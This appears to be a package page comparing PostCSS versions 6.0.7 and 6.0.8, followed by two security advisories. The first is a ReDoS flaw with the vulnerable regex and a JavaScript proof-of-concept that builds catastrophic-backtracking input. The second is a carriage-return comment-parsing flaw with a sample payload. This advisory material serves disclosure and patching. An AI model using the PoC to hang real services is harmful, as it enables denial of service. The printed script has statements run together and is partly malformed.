PostCSS version 6.0.8 represents a minor update to the popular CSS transformation tool, building upon the foundation laid by version 6.0.7. The core functionality remains consistent, offering developers a robust platform for manipulating CSS with JavaScript plugins. Both versions share the same fundamental dependencies, including chalk for colorful console output, source-map for debugging, and supports-color for terminal color detection. The development dependencies, crucial for building, testing, and linting the PostCSS library itself, also remain identical across these two versions, encompassing tools like eslint, jest, gulp, and various Babel-related packages for modern JavaScript compilation.
Essentially, the developer experience is largely unchanged between 6.0.7 and 6.0.8. Updating from one to the other should be seamless, as there are no alterations to the core API or plugin ecosystem. These versions are designed for those seeking a fast and flexible way to automate routine CSS tasks, catch errors, and implement future CSS features within their projects. Both releases empower developers through a rich plugin ecosystem capable of handling everything from vendor prefixes and future syntax to code optimization and linting. Choosing between these versions primarily comes down to ensuring you're using the most up-to-date release, as 6.0.8 incorporates any minor bug fixes or performance enhancements made since 6.0.7 was published.
All the vulnerabilities related to the version 6.0.8 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.